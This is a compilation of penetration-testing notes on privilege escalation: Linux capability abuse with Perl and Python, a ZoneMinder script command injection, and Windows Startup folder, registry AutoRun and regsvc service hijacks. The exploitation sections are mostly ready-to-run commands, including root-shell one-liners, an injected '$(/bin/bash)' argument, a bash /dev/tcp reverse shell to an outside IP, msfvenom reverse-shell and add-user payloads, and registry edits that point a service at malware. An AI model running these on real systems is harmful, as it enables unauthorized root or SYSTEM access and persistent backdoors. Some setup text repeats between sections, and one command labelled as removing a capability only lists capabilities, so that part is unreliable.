[Privilege Escalation] Linux Capabilities Perl

Description

In Linux, “capabilities” refer to the fine-grained access control mechanism that grants processes or programs specific privileges beyond those of a regular user. Traditionally, in Unix-like systems, privileges were managed through the setuid mechanism, where a program would temporarily assume the privileges of its owner when executed.

Capabilities were introduced to provide a more granular approach to privilege management, allowing processes to have only the specific privileges they need to perform their tasks, rather than having to grant them full superuser (root) privileges via setuid.

Before capabilities, we only had the binary system of privileged and non-privileged processes and for the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes that referred as superuser or root and unprivileged processes (whose effective UID is nonzero).

Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks.

Some common capabilities include

https://1.bp.blogspot.com/-b2lP_MwsxDs/XeIpVZoQULI/AAAAAAAAht8/8k2iTTw5eZwb8QQnaU8NF23ODrv1dwUsACLcBGAsYHQ/s1600/4.png

These capabilities can be granted to executable files via file system attributes or via user/group privileges. Capabilities can be managed using commands like getcap and setcap in Linux.

Uses of capabilities

Limited user’s permission: Giving away too many privileges by default will result in unauthorized changes of data, backdoors and circumventing access controls, just to name a few. So to overcome this situation we can simply use the capability to limited user’s permission.

Using a fine-grained set of privileges: Suppose a web server normally runs at port 80 and we also know that we need root permissions to start listening on one of the lower ports (<1024). This web server daemon needs to be able to listen to port 80. Instead of giving this daemon all root permissions, we can set a capability on the related binary, like CAP_NET_BIND_SERVICE. With this specific capability, it can open up port 80 in a much easier way.

Working with capability

The operation of capabilities can be achieved in many ways. Some of them are listed below:

Assigning and removing capability: They are usually set on executable files and are automatically granted to the process when a file with a capability is executed. The file capability sets are stored in an extended attribute named as security.capability. This can be done by the use of attribute CAP_SETCAP capability.

To enable the capability for any file frame command as shown below:

  • setcap cap_setuid+ep /home/demo/python3

Similarly, one can also remove file capability by as below mentioned command.

  • getcap -r / 2>/dev/null

Affected products

Misconfigured Linux Operating Systems

Identification

In order to identify capabilities, we can run

  • getcap -r / 2> /dev/null

https://i.imgur.com/Q6XYr0p.png

LinPEAS

LinPEAS script can also help us identify suspicious capabilities

  • ./LinPEAS.sh

Exploitation

Perl Capability

We have another example “perl” which is same as above where the admin supposed to used capabilities, for the perl program that should be executed by specific user let’s say for user “demo”. This can be accomplished with following commands on the host machine.

  • which perl
  • cp /usr/bin/perl /home/demo/
  • setcap cap_setuid+ep /home/demo/perl

As a result, the user demo received the privilege to run the python3 program as root because here admin has upraised the privilege by using cap_setuid+ep which means all privilege is assigned to the user for that program.

https://1.bp.blogspot.com/-PiPUhnAFgOQ/XeIpWVyQL1I/AAAAAAAAhuI/Eysz7iYu4wU1f09qvyHPK1Los7UQ3ifNgCLcBGAsYHQ/s1600/7.png

Exploiting capability using perl

Repeat above step for exploit perl program to escalate the root privilege:

  • getcap -r / 2>/dev/null
  • pwd
  • ls -al perl
  • ./perl -e ‘use POSIX (setuid); POSIX::setuid(0); exec “/bin/bash”;’
  • id

https://1.bp.blogspot.com/-e7Jo3nTW2Ts/XeIpWdCv7wI/AAAAAAAAhuM/PH_uLypq918rSbm47oYAbFXtVleS0B1hwCLcBGAsYHQ/s1600/8.png

Remedy

Use least privilege principles, and, confirm that no capabilities privileges are assigned to exploitable binaries.

Detection

Audit Logs (auditd):

audit.log: Contains detailed records of system calls and actions performed by users and processes. Look for entries related to capability-related system calls, such as capset, setuid, setgid, etc.

System Logs (syslog):

syslog, messages: These logs contain general system activity, including errors, warnings, and informational messages. Look for any unusual or suspicious activity related to capability changes or privilege escalation attempts.

Kernel Logs:

kern.log or dmesg: Contains kernel-level messages, including errors and warnings. Monitor for any kernel-level events related to capabilities, such as loading or unloading of kernel modules (CAP_SYS_MODULE), changes to system time (CAP_SYS_TIME), etc.

File System Logs:

audit.log, syslog, or distribution-specific logs: Monitor file system events, such as changes to file permissions or ownership, which may indicate tampering with files related to capabilities management (CAP_CHOWN, CAP_DAC_OVERRIDE, etc.).

Process Execution Logs:

audit.log, syslog, or process-specific logs: Track process execution events and command-line arguments to identify suspicious processes attempting to escalate privileges or perform actions beyond their normal scope (CAP_SYS_PTRACE, CAP_SYS_ADMIN, etc.).

Network Logs:

Firewall logs, packet capture logs, or network device logs: Look for network activity originating from processes with elevated capabilities (CAP_NET_RAW, CAP_NET_ADMIN, etc.), which may indicate attempts to exploit network-related capabilities.

References

https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

https://mn3m.info/posts/suid-vs-capabilities/

Capability on GRSecurity wiki

http://man7.org/linux/man-pages/man2/getxattr.2.html

http://unixetc.co.uk/2016/05/30/linux-capabilities-and-ping/

Linux kernel docs

Source code linux/capability.h

nmap using Capabilies

https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

https://linux-audit.com/linux-capabilities-101/

https://www.linuxjournal.com/article/5737

https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

[Privilege Escalation] Linux Capabilities Python

Description

In Linux, “capabilities” refer to the fine-grained access control mechanism that grants processes or programs specific privileges beyond those of a regular user. Traditionally, in Unix-like systems, privileges were managed through the setuid mechanism, where a program would temporarily assume the privileges of its owner when executed.

Capabilities were introduced to provide a more granular approach to privilege management, allowing processes to have only the specific privileges they need to perform their tasks, rather than having to grant them full superuser (root) privileges via setuid.

Before capabilities, we only had the binary system of privileged and non-privileged processes and for the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes that referred as superuser or root and unprivileged processes (whose effective UID is nonzero).

Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks.

Some common capabilities include

https://1.bp.blogspot.com/-b2lP_MwsxDs/XeIpVZoQULI/AAAAAAAAht8/8k2iTTw5eZwb8QQnaU8NF23ODrv1dwUsACLcBGAsYHQ/s1600/4.png

These capabilities can be granted to executable files via file system attributes or via user/group privileges. Capabilities can be managed using commands like getcap and setcap in Linux.

Uses of capabilities

Limited user’s permission: Giving away too many privileges by default will result in unauthorized changes of data, backdoors and circumventing access controls, just to name a few. So to overcome this situation we can simply use the capability to limited user’s permission.

Using a fine-grained set of privileges: Suppose a web server normally runs at port 80 and we also know that we need root permissions to start listening on one of the lower ports (<1024). This web server daemon needs to be able to listen to port 80. Instead of giving this daemon all root permissions, we can set a capability on the related binary, like CAP_NET_BIND_SERVICE. With this specific capability, it can open up port 80 in a much easier way.

Working with capability

The operation of capabilities can be achieved in many ways. Some of them are listed below:

Assigning and removing capability: They are usually set on executable files and are automatically granted to the process when a file with a capability is executed. The file capability sets are stored in an extended attribute named as security.capability. This can be done by the use of attribute CAP_SETCAP capability.

To enable the capability for any file frame command as shown below:

  • setcap cap_setuid+ep /home/demo/python3

Similarly, one can also remove file capability by as below mentioned command.

  • getcap -r / 2>/dev/null

Affected products

Misconfigured Linux Operating Systems

Identification

In order to identify capabilities, we can run

  • getcap -r / 2> /dev/null

https://i.imgur.com/Q6XYr0p.png

LinPEAS

LinPEAS script can also help us identify suspicious capabilities

  • ./LinPEAS.sh

Exploitation

Python Capability

Suppose the system administrator wants to grant superuser permission for any binary program, let’s say for python3, which should only be available to a specific user, and admin doesn’t want to give SUID or sudo permission. The admin supposed to used capabilities, for the python3 program that should be executed by specific user let’s say for user “demo”. This can be accomplished with following commands on the host machine.

  • which python3
  • cp /usr/bin/python3 /home/demo/
  • setcap cap_setuid+ep /home/demo/python3

As a result, the user demo received the privilege to run the python3 program as root because here admin has upraised the privilege by using cap_setuid+ep which means all privilege is assigned to the user for that program. But if you will try to find 4000 permission files or programs then it might not be shown for /home/dome/python3.

Note: the user home directory should be not accessible for other users because if it is accessed to other non-root users then other users will also proficient to take the privilege of capabilities set for user demo.

https://1.bp.blogspot.com/-_NY5PVXGp98/XeIpVhInt1I/AAAAAAAAhuA/zv3csezeN-YLPTlqcoU_9jI98LKPTjaAQCLcBGAsYHQ/s1600/5.png

Exploiting capability using python3

Assuming an intruder has compromised the host machine as local user and spawn the least privilege shell and he looked for system capabilities and found empty capability (ep) over suid is given python3 for user demo that means all privilege is assigned to user for that program, therefore taking advantage of this permission he can escalate into high privilege from low privilege shell.

  • getcap -r / 2>/dev/null
  • pwd
  • ls -al python3
  • ./python3 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’
  • Id

Hence you can observe the local user demo has accessed the root shell as shown in the given image.

https://1.bp.blogspot.com/-KJSuOanH3hs/XeIpWCf4PEI/AAAAAAAAhuE/CF8cYc7dVModbfoIf713i_j6OrMYF9KcACLcBGAsYHQ/s1600/6.png

Remedy

Use least privilege principles, and, confirm that no capabilities privileges are assigned to exploitable binaries.

Detection

Audit Logs (auditd):

audit.log: Contains detailed records of system calls and actions performed by users and processes. Look for entries related to capability-related system calls, such as capset, setuid, setgid, etc.

System Logs (syslog):

syslog, messages: These logs contain general system activity, including errors, warnings, and informational messages. Look for any unusual or suspicious activity related to capability changes or privilege escalation attempts.

Kernel Logs:

kern.log or dmesg: Contains kernel-level messages, including errors and warnings. Monitor for any kernel-level events related to capabilities, such as loading or unloading of kernel modules (CAP_SYS_MODULE), changes to system time (CAP_SYS_TIME), etc.

File System Logs:

audit.log, syslog, or distribution-specific logs: Monitor file system events, such as changes to file permissions or ownership, which may indicate tampering with files related to capabilities management (CAP_CHOWN, CAP_DAC_OVERRIDE, etc.).

Process Execution Logs:

audit.log, syslog, or process-specific logs: Track process execution events and command-line arguments to identify suspicious processes attempting to escalate privileges or perform actions beyond their normal scope (CAP_SYS_PTRACE, CAP_SYS_ADMIN, etc.).

Network Logs:

Firewall logs, packet capture logs, or network device logs: Look for network activity originating from processes with elevated capabilities (CAP_NET_RAW, CAP_NET_ADMIN, etc.), which may indicate attempts to exploit network-related capabilities.

References

https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

https://mn3m.info/posts/suid-vs-capabilities/

Capability on GRSecurity wiki

http://man7.org/linux/man-pages/man2/getxattr.2.html

http://unixetc.co.uk/2016/05/30/linux-capabilities-and-ping/

Linux kernel docs

Source code linux/capability.h

nmap using Capabilies

https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

https://linux-audit.com/linux-capabilities-101/

https://www.linuxjournal.com/article/5737

https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

[Privilege Escalation] ZoneMinder Scripts Command Injection (local)

Having the chance to execute ZoneMinder scripts as root we can inject commands. Tested on version 1.36.32+dfsg1-1

Identification

1. Check for privileges or permissions

  • sudo -l

2. Use find to locate the scripts

  • find / -iname zm*.pl 2> /dev/null

Exploitation (zmupdate.pl)

1. In /usr/bin there are scripts that are part of ZoneMinder

  • ls -l /usr/bin/zm*

2. We can try to run zmupdate.pl

  • sudo zmupdate.pl –user=’$(touch /tmp/test)’

3. Check the file was created, with root permissions

  • ls -l /tmp

4. Now attempt to open a new shell

  • sudo /usr/bin/zmupdate.pl –version 1 –user=’$(/bin/bash)’

Extra

1. You may not get a fully functional shell, we know we are root, so we can attempt a reverse shell, start a listener

  • nc -lvp 4444

2. Run the reverse shell from the target computer

  • bash -i >& /dev/tcp/10.10.14.77/4444 0>&1

3. Check the listener

Recommendations

Have your tools up to date, and, limit the use of these scripts to only the intended users.

[Privilege Escalation] StartUp Applications

Startup applications privilege escalation refers to the phenomenon where certain software or applications gain elevated privileges upon system boot, allowing them to execute commands or access resources that would typically be restricted to regular users or applications. This can pose a significant security risk, as it provides an avenue for malicious actors to exploit vulnerabilities in these applications to gain unauthorized access to sensitive data or perform malicious actions on the system.

When a user logs on to the system, there are two folders where programs automatically start (execute) from called the Startup folders. The Startup folders can be found in the following locations:

  • C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

The first folder is tied to the specific user logging on and only executes for that user. The second folder however is the machine startup folder, which means that any startup applications in that folder (executables or batch scripts) will execute when ANY user logs on to the system.

Identification

1. Check the permissions on the StartUp folders, notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.

  • icacls “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”

Note: we are looking for on the folder are any one of the following three permissions:

  • (F) Full Control
  • (M) Modify
  • (W) Write

The user / group permissions we are looking for are the following:

  • The user we are currently logged in as (%USERNAME%)
  • Authenticated Users
  • Everyone
  • BUILTIN\Users
  • NT AUTHORITY\INTERACTIVE

2. Identify it using Sysinternals AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • .\accesschk64.exe -wvud “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp” -accepteula

WinPEAS (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)

1. This can also be identified using WinPEAS script

  • .\winPEASx64.exe applicationsinfo

https://juggernaut-sec.com/wp-content/uploads/2022/06/image-35.png

Exploitation

1. we can utilize either an EXE or a batch script to exploit this misconfiguration, we will craft a malicious BATCH file to execute it as any user that logs on. First, we will create our payload

  • msfvenom -p windows/shell_reverse_tcp LHOST=10.9.239.141 LPORT=5555 -f exe > exploit.exe

2. Start a listener in your local machine

  • nc -lvp 5555

3. Transfer the file into the target machine

4. Place exploit.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.

  • move .\exploit.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
  • cd “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
  • dir

5. (OPTIONAL) Assign privileges to execute to Everyone

  • Right click on exploit.exe -> Properties -> Security -> Group or user names -> Edit
  • Add -> Everyone

5. Wait for someone to log in, check out your listener

Recommendations

  • Least Privilege Principle: Follow the principle of least privilege when configuring startup applications. Only grant necessary permissions and privileges to each application, limiting the potential impact of any security breaches.
  • Application Whitelisting: Implement application whitelisting policies to restrict the execution of unauthorized or untrusted applications during the startup process. This helps prevent malicious software from gaining elevated privileges on the system.

Reference

https://steflan-security.com/windows-privilege-escalation-startup-applications/

https://juggernaut-sec.com/startup-applications/

https://www.hackingarticles.in/windows-privilege-escalation-boot-logon-autostart-execution-startup-folder/

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries

https://medium.com/@Varma_Chekuri/windows-privilege-escalation-2-f0dfb1021213

https://www.stationx.net/windows-privilege-escalation/

https://attack.mitre.org/techniques/T1547/001/

[Privilege Escalation] Registry Windows AutoRun

Windows allows users to set specific programs to automatically start whenever the system boots, the list of programs that have this functionality enabled is stored in the Windows Registry. Although this feature can be very handy if startup programs are setup with improper permissions it may allow attackers to escalate privileges, as these programs are executed in the context of the user who is logging in at that point in time.

Commonly known AutoRun registry:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

Registry keys known as Run and RunOnce are designed to automatically execute programs every time a user logs into the system. The command line assigned as a key’s data value is limited to 260 characters or less.

Since we are only interested in the machine startup keys, these are the default keys we want to query:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

There are also some additional keys that do not exist by default; however, they should also be queried because they may have been manually created:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\R
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunEx
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

Identify

1. First identify the type of architecture you are dealing with

  • systeminfo | findstr /B /C:”Host Name” /C:”OS Name” /C:”OS Version” /C:”System Type” /C:”Hotfix(s)”

2. Download into the target machine Sysinternals AutoRun (https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns)

  • Click on Logon tab

Note: The objective for us as an attacker is to use this tool to find any outliers. Most of the time we will find that programs execute from some directory extended from the systemroot (C:\Windows), which will likely be un-writable; however, finding a program that executes from any another location is worth investigating.

3. Query this registry hive

  • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Powershell

  • Get-Item -Path Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

https://juggernaut-sec.com/wp-content/uploads/2022/05/image-270.png

4. Check the permissions on this program, we need to verify we can modify it. (“Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.)

AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • .\accesschk64.exe -wvu “C:\Program Files\Autorun Program”

ICACLS

  • icacls c:\program files\autorun program\program.exe

Note: What we are looking for on the executable is any one of three specific permissions:

  • (F) Full Control
  • (M) Modify
  • (W) Write

The user / group permissions we are looking for are the following:

  • Authenticated Users
  • Everyone
  • BUILTIN\Users
  • NT AUTHORITY\INTERACTIVE

WinPEAS (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)

https://atom.hackstreetboys.ph/content/images/2020/06/Screen-Shot-2020-06-15-at-3.46.19-PM.png

PowerUp (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)

https://juggernaut-sec.com/wp-content/uploads/2022/05/image-272.png

Exploitation

1. Create a reverse shell payload, to replace the original program at the location

  • msfvenom -p windows/shell_reverse_tcp LHOST=10.9.239.141 LPORT=7777 -a x64 –platform Windows -f exe -o program.exe

2. Start a local listener

  • nc -lvp 7777

3. Transfer the file into the target machine, and, move it into the target folder, in this case (C:\Program Files\Autorun Program)

Note: Remember to back up the original file.

4. Now wait for another user to log in, once, someone logs the listener should receive a connection back.

  • whoami

Recommendations

To mitigate the risks associated with Autorun-related registry manipulation, consider the following steps:

  • Least privilege principles: Assign privileges to user that must modify the binary files
  • Regular Registry Audits: Regularly audit the registry for unusual or unauthorized changes. Monitoring tools and scripts can help detect suspicious modifications to Autorun-related registry keys.
  • Restrict User Access: Limit user access to sensitive registry keys using permissions and access controls. Restricting write access to Autorun-related registry keys can prevent unauthorized modifications.
  • Disable Autorun: As mentioned earlier, disabling Autorun altogether can prevent malware from exploiting Autorun-related registry entries. This can be done through Group Policy settings or by modifying registry keys directly.
  • Use Antivirus and Endpoint Protection: Employ antivirus and endpoint protection solutions that monitor and block suspicious activity, including unauthorized modifications to the registry.

Sources

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries

https://juggernaut-sec.com/autorun-startup-registry-keys/

https://atom.hackstreetboys.ph/windows-privilege-escalation-registry-exploits/

https://steflan-security.com/windows-privilege-escalation-exploiting-autorun/

[Privilege escalation] Registry Service Account (regsvc)

The Regsvc service, also known as Remote Registry Service, enables remote access to the Windows registry. It allows users to connect to the registry of a remote computer and perform operations such as reading, writing, and modifying registry keys and values. While the service is designed to facilitate legitimate administrative tasks, it can be exploited by attackers to escalate privileges and compromise the security of a system.

An attacker can leverage this misconfiguration to modify the ImagePath of service with the path of the custom malicious executable that will give an escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Note: Service should be restarted to make changes effective.

Identify

1. Check access using Sysinternals AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • accesschk64.exe -kw hklm\System\CurrentControlSet\Services
  • accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
  • accesschk64.exe -kw hklm\System\CurrentControlSet\Services > result.txt
  • type result.txt | more

https://miro.medium.com/v2/resize:fit:536/1*Ra3liW0iHNyaDaXY8ZVUoA.png

2. We can see that the NT Authority\Interactive has write access to the registry key “regsvc”. For further information regarding regsvc, we can query the registry by typing the following command:

  • reg query hklm\System\CurrentControlSet\Services\regsvc

https://miro.medium.com/v2/resize:fit:805/1*CyX6-jZq-G90-gT4cX-Png.png

Note: We can modify the ImagePath of the key and point it to our malicious custom executable.

Exploitation

1. As we know that the ImagePath is writeable, we create a windows TCP reverse shell using msfvenom on the attacking machine.

  • msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > malware.exe
  • msfvenom -p windows/adduser USER=hacker PASS=password -f exe > malware.exe

2. Transfer the file to the target machine, then store it in Temp folder

  • move malware.exe C:\Temp
  • dir

3. Start a listener in your local machine

  • nc -lvp 5555

4. Now, we will modify the ImagePath value for the regsvc registry and set it as the path of the custom executable “malware.exe”. This can be done by running the following command in the Windows command shell:

Move the file into the target location (C:\Program Files\Insecure Registry Service\)

  • reg add “HKLM\SYSTEM\CurrentControlSet\services\regsvc” /t REG_EXPAND_SZ /v ImagePath /d “C:\Temp\malware.exe” /f

5. Now verify it has been added to the registry

  • reg query hklm\System\CurrentControlSet\Services\regsvc

6. We can execute malicious payload by restarting\starting the service regsvc.

  • sc start regsvc
  • net start regsvc

7. We should now get the program executed, and, the reverse shell should be working

Remediation Strategies:

  • Access Controls: Restrict access to the Regsvc service and its associated registry keys to authorized users and administrators. Use strong authentication mechanisms and enforce the principle of least privilege.
  • DLL Safe Loading: Configure Windows to use safe DLL loading practices, which help prevent DLL hijacking attacks by specifying the exact locations from which DLLs can be loaded.
  • Monitoring and Logging: Implement robust logging and monitoring mechanisms to detect unauthorized access attempts to the Regsvc service and suspicious activities related to registry manipulation.
  • Disable Unnecessary Services: Disable the Regsvc service if it is not required for legitimate administrative tasks, reducing the attack surface and minimizing the risk of exploitation.

Detection

We can log windows event ID 4657 to detect any modification made to the registry keys. If modification occur in ImagePath, it will be refelected in event Id 4657.

Source

https://systemweakness.com/windows-privilege-escalation-weak-registry-permissions-9060c1ca7c10

https://github.com/xXxhagenxXx/OSCP_Cheat_sheet/blob/main/Windows%20Privilege%20Escalation%20Techniques.md

https://g10s.io/windows-privilege-escalation-services/

https://pswalia2u.medium.com/windows-privilege-escalation-via-misconfigured-services-ea4c01cac89c